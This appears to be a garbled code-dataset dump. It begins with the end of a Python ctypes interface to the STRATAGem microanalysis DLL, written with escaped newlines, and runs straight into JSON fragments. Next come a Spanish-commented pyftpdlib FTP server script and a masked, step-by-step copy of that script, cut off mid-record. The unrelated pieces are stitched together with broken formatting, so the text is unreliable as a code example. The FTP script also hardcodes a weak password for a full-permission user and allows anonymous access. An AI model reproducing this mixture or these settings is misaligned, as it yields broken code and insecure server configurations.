HKEY_CURRENT_USER = None\n\n class _PyHKEY(object):\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n pass\n\n def OpenKey(self, key, sub_key, res, sam):\n return self._PyHKEY()\n\n def QueryValueEx(self, key, value_name):\n return None\n\n# Third party modules.\n\n# Local modules.\nfrom stratagemtools.sample import Sample, CONC_UNKNOWN, CONC_DIFF\nfrom stratagemtools.experiment import Experiment, LINE_KA\nfrom stratagemtools.element_properties import \\\n atomic_mass_kg_mol, mass_density_kg_m3\n\n# Globals and constants variables.\n_REGISTRY_KEY = \"Software\\SAMx\\Stratagem\\Configuration\"\n_REGISTRY_VALUENAME = 'InstallOEMDirectory'\n\nPRZMODE_XPP = 0\n\"\"\":math:`\\\\phi(\\\\rho z)` from XPP\"\"\"\n\nPRZMODE_PAP = 1\n\"\"\":math:`\\\\phi(\\\\rho z)` from PAP\"\"\"\n\nPRZMODE_GAU = 2\n\"\"\":math:`\\\\phi(\\\\rho z)` *unknown*, possibly two Gaussians\"\"\"\n\nFLUORESCENCE_NONE = 0\n\"\"\"No fluorescence\"\"\"\n\nFLUORESCENCE_LINE = 1\n\"\"\"Only characteristic fluorescence\"\"\"\n\nFLUORESCENCE_LINE_CONT = 2\n\"\"\"Characteristic and Bremsstrahlung fluorescence\"\"\"\n\n_CONCENTRATION_FLAG_KNOWN = 0\n_CONCENTRATION_FLAG_UNKNOWN = 1\n_CONCENTRATION_FLAG_STOICHIOMETRIC = 2\n_CONCENTRATION_FLAG_TRACE = 3\n_CONCENTRATION_FLAG_DIFFERENCE = 4\n\nclass StratagemError(Exception):\n \"\"\"\n Exception raised for all errors related to the STRATAGem interface.\n \"\"\"\n pass\n\ndef _check_key(method):\n @functools.wraps(method)\n def wrapper(self, *args, **kwargs):\n if self._key is None:\n raise StratagemError('Not initialize. Call init().')\n return method(self, *args, **kwargs)\n return wrapper\n\nclass Stratagem:\n \"\"\"\n Main interface establishing a connection to the STRATAGem OEM interface and\n perform calculations using SAMx's STRATAGem.\n It is highly recommended to use :class:`Stratagem` as a context manager \n (i.e. ``with`` statement) to ensure that the connection to the DLL is \n properly closed.\n For instance::\n \n >>> with Stratagem() as strata:\n ... strata.prz_mode = PRZMODE_XPP\n \n Otherwise the following series of method must be called::\n \n >>> strata = Stratagem()\n >>> strata.init()\n >>> strata.prz_mode = PRZMODE_XPP\n >>> strata.close()\n \"\"\"\n\n def __init__(self, dll_path=None, display_error=True):\n \"\"\"\n :arg dll_path: complete path to the location of ``stratadllogger.dll``\n (optional). If ``None``, the path is found in the Windows registry\n under ``Software\\SAMx\\Stratagem\\Configuration``. If the DLL is not\n found a :class:`StratagemError` is raised.\n :type dll_path: :class:`str`\n \n :arg display_error: whether to display a message dialog on error\n :type display_error: :class:`bool`\n \"\"\"\n if dll_path is None:\n with winreg.OpenKey(winreg.HKEY_CURRENT_USER, _REGISTRY_KEY) as key: #@UndefinedVariable\n basedir = winreg.QueryValueEx(key, _REGISTRY_VALUENAME)[0] #@UndefinedVariable\n dll_path = os.path.join(basedir, 'bin', 'stratadll.dll')\n\n cwd = os.getcwd()\n try:\n logger.debug(\"dll=%s\", dll_path)\n self._lib = c.WinDLL(dll_path)\n finally:\n os.chdir(cwd) # Change back to real cwd\n\n logger.debug(\"StEnableErrorDisplay(%r)\", display_error)\n self._lib.StEnableErrorDisplay(c.c_bool(display_error))\n\n self._key = None\n self._cwd = os.getcwd()\n self._layers = {} # layer: index\n self._substrate = None\n self._experiments = {} # experiment: (element, line, kratio) indexes\n self._tmpstandards = []\n\n def __enter__(self):\n self.init()\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.close()\n return False\n\n def _stobjectnew(self, key=None, standard=False):\n if key is None:\n characters = string.ascii_lowercase\n key = ''.join(random.choice(characters) for _ in range(8))\n key = key.encode('ascii')\n if not isinstance(key, c.c_byte):\n key = c.create_string_buffer(key)\n\n bnormal_ = c.c_bool(not standard)\n iniflags_ = c.c_int(0)\n\n logger.debug(\"StObjectNew(key, %r, %i)\", not standard, 0)\n if not self._lib.StObjectNew(key, bnormal_, iniflags_):\n self._raise_error(\"Cannot create object\")\n\n return key\n\n def _raise_error(self, alternate=''):\n \"\"\"\n Raises a :class:`StratagemError`. \n The error code and message of known errors are retrieved from STRATAGem. \n If this is not possible, *alternate* is used as the error message.\n \"\"\"\n errnum_ = c.c_ulong()\n errtype_ = c.c_int()\n\n self._lib.StGetLastError(c.byref(errnum_), c.byref(errtype_))\n\n if errnum_.value != 0:\n if errtype_.value == 0:\n buf_ = c.create_string_buffer(256)\n self._lib.StGetMsg(errnum_, buf_, 256)\n raise StratagemError(buf_.value.decode('ascii'))\n elif errtype_.value == 1:\n raise c.WinError(errtype_.value)\n else:\n raise StratagemError('Error %i' % errnum_.value)\n else:\n raise StratagemError(alternate)\n\n def init(self):\n \"\"\"\n Initializes and setups STRATAGem.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n raise RuntimeError('Already initialized. Call close() first.')\n\n self._key = self._stobjectnew()\n self._cwd = os.getcwd()\n self.reset()\n\n def close(self):\n \"\"\"\n Closes the connection to the STRATAGem DLL.\n It does not have to be used if :class:`Stratagem` is used as a context\n manager.\n \"\"\"\n if self._key is not None:\n logger.debug('StObjectDelete(key)')\n self._lib.StObjectDelete(self._key)\n self._key = None\n\n for filepath in self._tmpstandards:\n os.remove(filepath)\n logger.debug('Remove temporary standard: %s', filepath)\n\n self.reset()\n\n def reset(self):\n \"\"\"\n Resets all parameters to the defaults, remove all experiments and sample.\n \"\"\"\n if self._key:\n self._lib.StObjectReset(self._key)\n os.chdir(self._cwd)\n self._layers.clear() # layer: index\n self._substrate = None\n self._experiments.clear() # analyzed experiments\n self._tmpstandards.clear()\n\n @_check_key\n def set_sample(self, sample):\n \"\"\"\n Sets the sample, which will be used in all subsequent calculations.\n Note that only one sample can be defined.\n \n :arg sample: sample definition\n :type sample: :class:`Sample`\n \"\"\"\n self.reset()\n\n for layer in sample.layers:\n index = self._add_layer(layer, substrate=False)\n self._layers.setdefault(layer, index)\n\n index = self._add_layer(sample.substrate, substrate=True)\n self._substrate = (sample.substrate, index)\n\n @_check_key\n def get_sample(self):\n \"\"\"\n Returns the current sample. \n It can correspond to the sample defined by :meth:`set_sample` or the\n sample resulting from the computations (see :meth:`compute`).\n \n .. note:: a new sample is returned every time this method is called\n \n :return: current sample\n :rtype: :class:`Sample`\n \"\"\"\n sample = Sample(self._substrate[0].composition)\n\n for layer in self._layers:\n sample.add_layer(layer.composition, layer.thickness_m,\n layer.mass_thickness_kg_m2, layer.density_kg_m3)\n\n return sample\n\n sample = property(get_sample, set_sample, doc=\"Property to set/get sample\")\n\n def _add_layer(self, layer, substrate=False, key=None):\n \"\"\"\n Internal method to add a layer from top to bottom. \n The last layer added is considered as the substrate.\n \n :arg layer: layer\n :type layer: :class:`.Layer`\n \n :return: index of the layer\n \"\"\"\n if key is None:\n key = self._key\n\n logger.debug(\"StSdAddLayer(key)\")\n ilayer_ = self._lib.StSdGetNbLayers(key)\n\n logger.debug(\"StSdAddLayer(key, %i)\", ilayer_)\n if not self._lib.StSdAddLayer(key, ilayer_):\n self._raise_error(\"Cannot add layer\")\n\n for i, value in enumerate(layer.composition.items()):\n ielt_ = c.c_int(i)\n logger.debug(\"StSdAddElt(key, %i, %i)\", ilayer_, i)\n if not self._lib.StSdAddElt(key, ilayer_, ielt_):\n self._raise_error(\"Cannot add element\")\n\n z, wf = value\n nra_ = c.c_int(z)\n logger.debug(\"StSdSetNrAtom(key, %i, %i, %i)\", ilayer_, i, z)\n if not self._lib.StSdSetNrAtom(key, ilayer_, ielt_, nra_):\n self._raise_error(\"Cannot set atomic number\")\n\n if wf is None or wf == CONC_UNKNOWN:\n flag = _CONCENTRATION_FLAG_UNKNOWN\n elif wf == CONC_DIFF:\n flag = _CONCENTRATION_FLAG_DIFFERENCE\n else:\n flag = _CONCENTRATION_FLAG_KNOWN\n\n wf_ = c.c_double(wf)\n logger.debug(\"StSdSetConc(key, %i, %i, %f)\", ilayer_, i, wf)\n if not self._lib.StSdSetConc(key, ilayer_, ielt_, wf_):\n self._raise_error(\"Cannot set concentration\")\n\n logger.debug(\"StSdSetConcFlag(key, %i, %i, %i)\", ilayer_, i, flag)\n if not self._lib.StSdSetConcFlag(key, ilayer_, ielt_, c.c_int(flag)):\n self._raise_error(\"Cannot set concentration flag\")\n\n if not substrate:\n thick_known = layer.is_thickness_known()\n thick_known_ = c.c_bool(thick_known)\n\n if layer.is_density_known():\n density = layer.density_kg_m3 / 1e3 # g/cm3\n else:\n density = 10.0\n density_ = c.c_double(density)\n\n if thick_known:\n thickness = layer.thickness_m * 1e10 # Angstroms\n mass_thickness = layer.mass_thickness_kg_m2 * 0.1 # g/cm2\n else:\n thickness = 0.0\n mass_thickness = 0.0\n thickness_ = c.c_double(thickness)\n mass_thickness_ = c.c_double(mass_thickness)\n\n logger.debug(\"StSdSetThick(key, %i, %r, %d, %d, %d)\", ilayer_,\n thick_known, mass_thickness, thickness, density)\n if not self._lib.StSdSetThick(key, ilayer_, thick_known_,\n mass_thickness_, thickness_, density_):\n self._raise_error(\"Cannot set thickness\")\n\n return int(ilayer_)\n\n def _create_standard(self, standard):\n \"\"\"\n Internal method to create a new object defining the standard \n :class:`.Sample`.\n \"\"\"\n # Create new object\n key_ = self._stobjectnew(standard=True)\n\n # Set sample\n for layer in standard.layers:\n self._add_layer(layer, substrate=False, key=key_)\n self._add_layer(standard.substrate, substrate=True, key=key_)\n\n # Save\n filename = key_.value.decode('ascii') + '.tfs'\n filepath = os.path.join(self.get_standard_directory(), filename)\n\n filepath_ = c.create_string_buffer(filepath.encode('ascii'))\n logger.debug('StObjectWriteFile(key, %s)', filepath)\n if not self._lib.StObjectWriteFile(key_, filepath_):\n self._raise_error(\"Cannot save standard\")\n\n # Delete object\n self._lib.StObjectDelete(key_)\n\n self._tmpstandards.append(filepath)\n\n return filepath\n\n @_check_key\n def add_experiment(self, experiment):\n \"\"\"\n Adds an experiment, i.e. measurements of k-ratio at different energies.\n \n .. hint:: Use :meth:`reset` method to remove defined experiments.\n \n :arg experiment: experiment\n :type experiment: :class:`Experiment`\n \"\"\"\n nra_ = c.c_int(experiment.z)\n klm_ = c.c_int(experiment.line)\n hv_ = c.c_double(experiment.energy_eV / 1e3)\n ielt_ = c.c_int()\n iline_ = c.c_int()\n iexpk_ = c.c_int()\n logger.debug('StEdAddNrAtomLineHV(key, %i, %i)', experiment.z, experiment.line)\n if not self._lib.StEdAddNrAtomLineHV(self._key, nra_, klm_, hv_,\n c.byref(ielt_), c.byref(iline_), c.byref(iexpk_)):\n self._raise_error(\"Cannot add atomic number and line\")\n\n standard = experiment.standard\n if isinstance(standard, Sample):\n standard = self._create_standard(standard)\n standard_ = c.create_string_buffer(standard.encode('ascii'))\n logger.debug('StEdSetLine(key, %i, %i, %i, %s)', ielt_.value, iline_.value, klm_.value, standard)\n if not self._lib.StEdSetLine(self._key, ielt_, iline_, klm_, standard_):\n self._raise_error(\"Cannot set standard\")\n\n analyzed = experiment.is_analyzed()\n analyzed_ = c.c_bool(analyzed)\n logger.debug(\"StEdSetAnalyzedFlag(key, %i, %r)\", ielt_.value, analyzed)\n if not self._lib.StEdSetAnalyzedFlag(self._key, ielt_, analyzed_):\n self._raise_error(\"Cannot add experiment analyzed flag\")\n\n kratio_ = c.c_double(experiment.kratio)\n logger.debug(\"StEdSetExpK(key, %i, %i, %i, %f, %f, %f, 0.0, 2)\",\n ielt_.value, iline_.value, iexpk_.value,\n experiment.energy_eV / 1e3, experiment.energy_eV / 1e3,\n experiment.kratio)\n if not self._lib.StEdSetExpK(self._key, ielt_, iline_, iexpk_,\n hv_, hv_, kratio_, c.c_double(0.0),\n c.c_int(2)):\n self._raise_error(\"Cannot set experiment k-ratio\")\n\n if experiment.is_analyzed():\n indexes = (ielt_.value, iline_.value, iexpk_.value)\n self._experiments.setdefault(experiment, indexes)\n\n @_check_key\n def add_experiments(self, *exps):\n \"\"\"\n Adds several experiments::\n \n >>> strata.add_experiments(exp1, exp2, exp3)\n \"\"\"\n for exp in exps:\n self.add_experiment(exp)\n\n def get_experiments(self):\n \"\"\"\n Returns a :class:`tuple` of all defined experiments.\n \n :rtype: :class:`tuple`\n \"\"\"\n return tuple(self._experiments.keys())\n\n @_check_key\n def set_geometry(self, toa, tilt, azimuth):\n \"\"\"\n Sets the geometry.\n \n :arg toa: take off angle (in radians)\n :arg tilt: tilt angle (in radians)\n :arg azimuth: azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double(toa)\n tilt_ = c.c_double(tilt)\n azimuth_ = c.c_double(azimuth)\n logger.debug('StSetGeomParams(key, %f, %f, %f)', toa, tilt, azimuth)\n if not self._lib.StSetGeomParams(self._key, toa_, tilt_, azimuth_):\n self._raise_error(\"Cannot set geometry parameters\")\n\n @_check_key\n def get_geometry(self):\n \"\"\"\n Returns the geometry.\n \n :return: take off angle (in radians), tilt angle (in radians),\n azimuthal angle (in radians)\n \"\"\"\n toa_ = c.c_double()\n tilt_ = c.c_double()\n azimuth_ = c.c_double()\n logger.debug('StGetGeomParams(key)')\n if not self._lib.StGetGeomParams(self._key, c.byref(toa_),\n c.byref(tilt_), c.byref(azimuth_)):\n self._raise_error(\"Cannot get geometry parameters\")\n\n return toa_.value, tilt_.value, azimuth_.value\n\n geometry = property(get_geometry, doc='Property to get geometry')\n\n @_check_key\n def set_prz_mode(self, mode):\n \"\"\"\n Sets the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :arg mode: type of model, either\n \n * :data:`PRZMODE_XPP`\n * :data:`PRZMODE_PAP`\n * :data:`PRZMODE_GAU`\n :type mode: :class:`int`\n \"\"\"\n mode_ = c.c_int(mode)\n logger.debug('StSetPrzMode(%i)', mode)\n self._lib.StSetPrzMode(mode_)\n\n @_check_key\n def get_prz_mode(self):\n \"\"\"\n Returns the type of model to use for the :math:`\\\\phi(\\\\rho z)`.\n \n :return: either :data:`PRZMODE_XPP`, :data:`PRZMODE_PAP` or \n :data:`PRZMODE_GAU`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetPrzMode()\n\n prz_mode = property(get_prz_mode, set_prz_mode,\n doc='Property to get/set prz mode')\n\n @_check_key\n def set_fluorescence(self, flag):\n \"\"\"\n Sets the fluorescence flag.\n \n :arg flag: either \n \n * :data:`FLUORESCENCE_NONE`\n * :data:`FLUORESCENCE_LINE`\n * :data:`FLUORESCENCE_LINE_CONT`\n :type flag: :class:`int`\n \"\"\"\n flag_ = c.c_int(flag)\n logger.debug('StSetFluorFlg(%i)', flag)\n self._lib.StSetFluorFlg(flag_)\n\n @_check_key\n def get_fluorescence(self):\n \"\"\"\n Returns the fluorescence flag.\n \n :return: either :data:`FLUORESCENCE_NONE`, :data:`FLUORESCENCE_LINE`\n or :data:`FLUORESCENCE_LINE_CONT`\n :rtype: :class:`int`\n \"\"\"\n return self._lib.StGetFluorFlg()\n\n fluorescence = property(get_fluorescence, set_fluorescence,\n doc='Property to get/set fluorescence')\n\n @_check_key\n def set_standard_directory(self, dirpath):\n \"\"\"\n Sets the directory where standard files are stored.\n \n :arg dirpath: path to directory\n :type dirpath: :class:`str`\n \"\"\"\n dirpath_ = c.create_string_buffer(dirpath.encode('ascii'))\n self._lib.StSetDirectory(c.c_int(1), dirpath_)\n\n @_check_key\n def get_standard_directory(self):\n \"\"\"\n Returns the directory where standard files are stored.\n \n :rtype: :class:`str`\n \"\"\"\n dirpath = (c.c_char * 256)()\n self._lib.StGetDirectory(c.c_int(1), c.byref(dirpath), 256)\n return dirpath.value.decode('ascii')\n\n standard_directory = property(get_standard_directory, set_standard_directory,\n doc='Property to get/set standard directory')\n\n @_check_key\n def compute_kratio_vs_thickness(self, layer,\n thickness_low_m, thickness_high_m, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the thickness \n for a layer.\n \n :arg layer: layer of a sample (must have been previously added)\n :type layer: :class:`.Layer`\n \n :arg thickness_low_m: lower limit of the thickness in meters\n :type thickness_low_m: :class:`float`\n \n :arg thickness_high_m: upper limit of the thickness in meters\n :type thickness_high_m: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of thicknesses\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each thickness\n \"\"\"\n logger.debug('StSetKvsThicknessUnit(2)')\n self._lib.StSetKvsThicknessUnit(2) # unit in nm\n\n if layer not in self._layers:\n raise ValueError(\"Unknown layer\")\n ilayer = self._layers[layer]\n ilayer_ = c.c_int(ilayer)\n\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n\n # Compute\n low_ = c.c_double(thickness_low_m * 1e9)\n high_ = c.c_double(thickness_high_m * 1e9)\n logger.debug('StComputeKvsThickness(key, %i, %f, %f)',\n ilayer, thickness_low_m * 1e9, thickness_high_m * 1e9)\n if not self._lib.StComputeKvsThickness(self._key, ilayer_, low_, high_):\n self._raise_error(\"Cannot compute k-ratio vs thickness\")\n\n # Fetch results\n thicknesses = []\n kratios = {}\n\n thick_ = c.c_double()\n k_ = c.c_double()\n for i in range(step + 1):\n i_ = c.c_int(i)\n\n if not self._lib.StGetKvsT_Thick(self._key, i_, c.byref(thick_)):\n self._raise_error(\"Cannot get thickness\")\n thicknesses.append(thick_.value)\n\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n iHv_ = c.c_int(indexes[2])\n\n if not self._lib.StGetKvsT_K(self._key, i_, ielt_, iline_,\n iHv_, c.byref(k_)):\n self._raise_error(\"Cannot get k-ratio\")\n kratios.setdefault(experiment, []).append(k_.value)\n\n return thicknesses, kratios\n\n @_check_key\n def compute_kratio_vs_energy(self, energy_high_eV, step):\n \"\"\"\n Computes the variation of the k-ratio as a function of the incident\n energy. \n Note that the computation also starts at 0 keV up to the specified energy.\n \n :arg energy_high_eV: upper limit of the thickness in electronvolts\n :type energy_high_eV: :class:`float`\n \n :arg step: number of steps\n :type step: :class:`int`\n \n :return: :class:`tuple` containing\n \n * :class:`list` of energies in electronvolts\n * :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are :class:`list` \n containing k-ratios for each energy\n \"\"\"\n step_ = c.c_int(step)\n logger.debug('StSetNbComputedHV(%i)', step)\n self._lib.StSetNbComputedHV(step_)\n\n energy_ = c.c_double(energy_high_eV / 1e3)\n logger.debug('StSetMaxHV(%f)' % (energy_high_eV / 1e3,))\n self._lib.StSetMaxHV(energy_)\n\n # Compute\n logger.debug('StComputeKvsHV(key)')\n if not self._lib.StComputeKvsHV(self._key):\n self._raise_error(\"Cannot compute k-ratio vs energy\")\n\n # Fetch results\n energies = []\n kratios = {}\n\n k_ = c.c_double()\n bHV_ = c.c_bool(True)\n increment = float(energy_high_eV / 1e3) / step\n\n for i in range(step + 1):\n hv = i * increment\n hv_ = c.c_double(hv)\n\n for experiment, indexes in self._experiments.items():\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n\n if not self._lib.StKvsHvOrRx(self._key, ielt_, iline_, hv_, bHV_, c.byref(k_)):\n self._raise_error(\"Cannot get k-ratio\")\n\n kratios.setdefault(experiment, []).append(k_.value)\n\n energies.append(hv)\n\n return energies, kratios\n\n @_check_key\n def compute_kratios(self):\n \"\"\"\n Computes the k-ratios of the different experiments.\n \n :return: :class:`dict` where the keys are experiments (as defined by\n :meth:`.add_experiment`) and the values are k-ratios \n (:class:`float`).\n \"\"\"\n if len(self._layers) == 0:\n return self._compute_kratios_substrate()\n else:\n return self._compute_kratios_multilayers()\n\n @_check_key\n def _compute_kratios_multilayers(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_thickness`.\n \"\"\"\n for i, layer in enumerate(self._layers.keys()):\n if not layer.is_thickness_known():\n raise ValueError(\"Thickness of layer %i is unknown\" % i)\n\n # Compute\n layer = list(self._layers.keys())[0]\n thickness_low_m = layer.thickness_m\n thickness_high_m = layer.thickness_m * 10\n step = 1\n\n _thicknesses, kratios = \\\n self.compute_kratio_vs_thickness(layer, thickness_low_m,\n thickness_high_m, step)\n\n # Reorganize results\n output = {}\n for experiment, kratio in kratios.items():\n output.setdefault(experiment, kratio[0])\n\n return output\n\n @_check_key\n def _compute_kratios_substrate(self):\n \"\"\"\n Internal method to compute the k-ratios using the \n :meth:`compute_kratio_vs_energy`.\n \"\"\"\n output = {}\n\n step = 2\n for experiment in self._experiments:\n energy_high_eV = experiment.energy_eV\n\n _energies, kratios = \\\n self.compute_kratio_vs_energy(energy_high_eV, step)\n\n kratio = kratios[experiment][-1]\n if (kratio < 0): # Bug in strategem that some energy don't work\n logger.warn(\"STRATAGem returns a negative k-ratio, re-try with energy + 1 eV\")\n _energies, kratios = \\\n self.compute_kratio_vs_energy(energy_high_eV + 1.0, step)\n kratio = kratios[experiment][-1]\n\n output.setdefault(experiment, kratio)\n\n return output\n\n @_check_key\n def compute(self, iteration_max=50):\n \"\"\"\n Computes the unknown composition(s) and thickness(es) in the specified\n sample.\n \n :arg iteration_max: maximum number of iterations of the solve\n (default: 50)\n :type iteration_max: :class:`int`\n \n :return: calculated sample\n :rtype: :class:`.Sample`\n \"\"\"\n # Add missing experiments\n zs = set(exp.z for exp in self._experiments.keys())\n\n for layer in list(self._layers.keys()) + [self._substrate[0]]:\n for z, wf in layer.composition.items():\n if z in zs:\n continue\n if wf is None:\n continue\n logger.debug('Added dummy experiment for z=%i', z)\n exp = Experiment(z, LINE_KA, 0.0, analyzed=False) # dummy\n self.add_experiment(exp)\n\n # Set iteration maximum\n iteration_max_ = c.c_int(iteration_max)\n logger.debug('StSetMaxNbIter(%i)', iteration_max)\n self._lib.StSetMaxNbIter(iteration_max_)\n\n # Compute\n logger.debug('StComputeIterpStart(key)')\n if not self._lib.StComputeIterpStart(self._key):\n self._raise_error(\"Cannot start iteration\")\n\n continue_ = c.c_bool(True)\n iteration = 0\n\n logger.debug('Start iteration')\n while True:\n iteration += 1\n logger.debug('Iteration #%i' % iteration)\n\n logger.debug('StComputeIterpNext(key, %r)' % continue_.value)\n if not self._lib.StComputeIterpNext(self._key, c.byref(continue_)):\n break\n\n if not continue_.value:\n break\n\n logger.debug('Iteration completed')\n\n # Fetch results\n thick_known = c.c_bool()\n mass_thickness = c.c_double()\n thickness = c.c_double()\n density = c.c_double()\n\n def get_layer(layer, ilayer):\n ilayer_ = c.c_int(ilayer)\n\n logger.debug('StSdGetNbElts(key, %i)' % ilayer)\n nbelt = self._lib.StSdGetNbElts(self._key, ilayer_)\n if nbelt == -1:\n self._raise_error(\"Cannot get number of elements\")\n\n flag_ = (c.c_int * nbelt)()\n wfs_ = (c.c_double * nbelt)()\n logger.debug('StSdGetLayRawConcs(key, %i, flag, wfs)' % ilayer)\n if not self._lib.StSdGetLayRawConcs(self._key, ilayer_,\n flag_, wfs_):\n self._raise_error(\"Cannot get layer concentration\")\n\n composition = {}\n for z in layer.composition.keys():\n nra_ = c.c_int(z)\n logger.debug('StSdGetEltIdx(key, %i, %i)' % (ilayer, z))\n zindex = self._lib.StSdGetEltIdx(self._key, ilayer_, nra_)\n composition[z] = wfs_[zindex]\n\n logger.debug(\"StSdGetThick(key, %i)\", ilayer)\n if not self._lib.StSdGetThick(self._key, ilayer_, c.byref(thick_known),\n c.byref(mass_thickness), c.byref(thickness),\n c.byref(density)):\n self._raise_error(\"Cannot get thickness\")\n\n return (composition, thickness.value / 1e10,\n mass_thickness.value * 10.0, density.value * 1e3)\n\n sample = Sample(get_layer(*self._substrate)[0])\n\n for layer, ilayer in self._layers.items():\n sample.add_layer(*get_layer(layer, ilayer))\n\n return sample\n\n @_check_key\n def compute_prz(self, maxdepth_m=None, bins=100):\n \"\"\"\n Compute :math:`\\\\phi(\\\\rho z)` of all experiments.\n \n .. warning:: Only available for substrate (no layers).\n \n :arg maxdepth_m: maximum depth of the :math:`\\\\phi(\\\\rho z)` \n distribution in meters. If ``None``, Kanaya-Okayama electron range\n is used with a safety factor of 1.5.\n :type maxdepth_m: :class:`float`\n \n :arg bins: number of bins in the :math:`\\\\phi(\\\\rho z)` distribution\n :type bins: :class:`int`\n \n :return: a :class:`dict` where the keys are the experiments and the \n values are a tuple containing three lists:\n \n * :math:`\\\\rho z` coordinates (in g/cm2)\n * generated intensities of :math:`\\\\phi(\\\\rho z)` (no absorption)\n * emitted intensites of :math:`\\\\phi(\\\\rho z)`\n \"\"\"\n if len(self._layers) > 0:\n raise RuntimeError('PRZ can only be computed for substrate')\n\n # Set scaling\n hvs_eV = map(attrgetter('energy_eV'), self._experiments.keys())\n maxhv_eV = max(hvs_eV)\n maxhv_ = c.c_double(maxhv_eV / 1e3)\n logger.debug('StSetScaleHV(%s)', maxhv_eV / 1e3)\n self._lib.StSetScaleHV(maxhv_)\n\n # Compute\n logger.debug('StComputePrz(key)')\n if not self._lib.StComputePrz(self._key):\n self._raise_error('Cannot compute prz')\n\n # Get values\n przs = {}\n\n for experiment, indexes in self._experiments.items():\n # Size of each bin\n if maxdepth_m is None:\n # Calculate max depth using Kanaya-Okayama\n maxdepth_m = 0.0\n energy_keV = experiment.energy_eV / 1e3\n\n for z, fraction in self._substrate[0].composition.items():\n dr = (0.0276 * atomic_mass_kg_mol(z) * 1e3 * energy_keV ** 1.67) / \\\n (z ** 0.89 * mass_density_kg_m3(z) / 1e3)\n maxdepth_m += fraction / (dr * 1e-6)\n\n maxdepth_m = 1.0 / maxdepth_m\n maxdepth_m *= 1.5 # safety factor\n\n increment_kg_m2 = (maxdepth_m * self._substrate[0].density_kg_m3) / bins\n\n # Indexes\n ielt_ = c.c_int(indexes[0])\n iline_ = c.c_int(indexes[1])\n ihv_ = c.c_int(0)\n\n rzs = []\n ys_generated = []\n ys_emitted = []\n\n for i in range(bins):\n rz_ = c.c_double(i * increment_kg_m2 * 0.1)\n rzs.append(i * increment_kg_m2)\n\n y_ = c.c_double()\n bUseExp_ = c.c_bool(True)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_emitted.append(y_.value)\n\n y_ = c.c_double()\n bUseExp_ = c.c_bool(False)\n self._lib.StPhiRhoZ(self._key, ielt_, iline_, ihv_, rz_,\n bUseExp_, c.byref(y_))\n ys_generated.append(y_.value)\n\n przs.setdefault(experiment, (rzs, ys_generated, ys_emitted))\n\n return przs\n\n", "step-ids": [ 21, 23, 38, 39, 40 ] }
[ 21, 23, 38, 39, 40 ]
from pyftpdlib.authorizers import DummyAuthorizer # Autorizaciones from pyftpdlib.handlers import FTPHandler # Comandos del usuario from pyftpdlib.servers import FTPServer # Creacion del servidor import logging import os def main(): # Instancia un autorizador dummy para controlar usuarios "virtuales" authorizer = DummyAuthorizer() # Define un nuevo usuario teniendo todos los permisos y otro para usuarios de solo lectura authorizer.add_user('user', '12345', '.', perm='elradfmwMT') authorizer.add_anonymous(os.getcwd()) # Obtener la direcccion del archivo actual # Instancia una clase controladora de FTP handler = FTPHandler handler.authorizer = authorizer # Define un string predeterminado que se envia al cliente cuando se conecte handler.banner = 'pyftpdlib basado en FTP, listo' # Informacion sobre las conexiones y acciones dentro de la carpeta # logging.basicConfig(filename='pyftpd.log', level=logging.INFO) logging.basicConfig(level=logging.INFO, format='(ServidorTCP) %(message)s',) # Instancia una clase servidor FTP address = ('127.0.0.1', 2121) # Direccion IP y puerto de escucha del servidor (puerto por default 21) server = FTPServer(address, handler) # Se crea el socket # configura un limite de conexiones server.max_cons = 10 # Numero maximo de conexiones simultanesas server.max_cons_per_ip = 5 # Numero maximo de conexiones aceptadas por la misma dirección IP (default=0 (sin limite)) # Inicia el servidor FTP server.serve_forever() # (timeout=None, blocking=True, handle_exit=True) if __name__ == '__main__': print("Servidor a la escucha") main()
normal
{ "blob_id": "a12fe733e607b1ce4cf0f3f4adc3ea85d082e769", "index": 6615, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n authorizer = DummyAuthorizer()\n authorizer.add_user('user', '12345', '.', perm='elradfmwMT')\n authorizer.add_anonymous(os.getcwd())\n handler = FTPHandler\n handler.authorizer = authorizer\n handler.banner = 'pyftpdlib basado en FTP, listo'\n logging.basicConfig(level=logging.INFO, format='(ServidorTCP) %(message)s')\n address = '127.0.0.1', 2121\n server = FTPServer(address, handler)\n server.max_cons = 10\n server.max_cons_per_ip = 5\n server.serve_forever()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef main():\n authorizer = DummyAuthorizer()\n authorizer.add_user('user', '12345', '.', perm='elradfmwMT')\n authorizer.add_anonymous(os.getcwd())\n handler = FTPHandler\n handler.authorizer = authorizer\n handler.banner = 'pyftpdlib basado en FTP, listo'\n logging.basicConfig(level=logging.INFO, format='(ServidorTCP) %(message)s')\n address = '127.0.0.1', 2121\n server = FTPServer(address, handler)\n server.max_cons = 10\n server.max_cons_per_ip = 5\n server.serve_forever()\n\n\nif __name__ == '__main__':\n print('Servidor a la escucha')\n main()\n", "step-4": "from pyftpdlib.authorizers import DummyAuthorizer\nfrom pyftpdlib.handlers import FTPHandler\nfrom pyftpdlib.servers import FTPServer\nimport logging\nimport os\n\n\ndef main():\n authorizer = DummyAuthorizer()\n authorizer.add_user('user', '12345', '.', perm='elradfmwMT')\n authorizer.add_anonymous(os.getcwd())\n handler = FTPHandler\n handler.authorizer = authorizer\n handler.banner = 'pyftpdlib basado en FTP, listo'\n logging.basicConfig(level=logging.INFO, 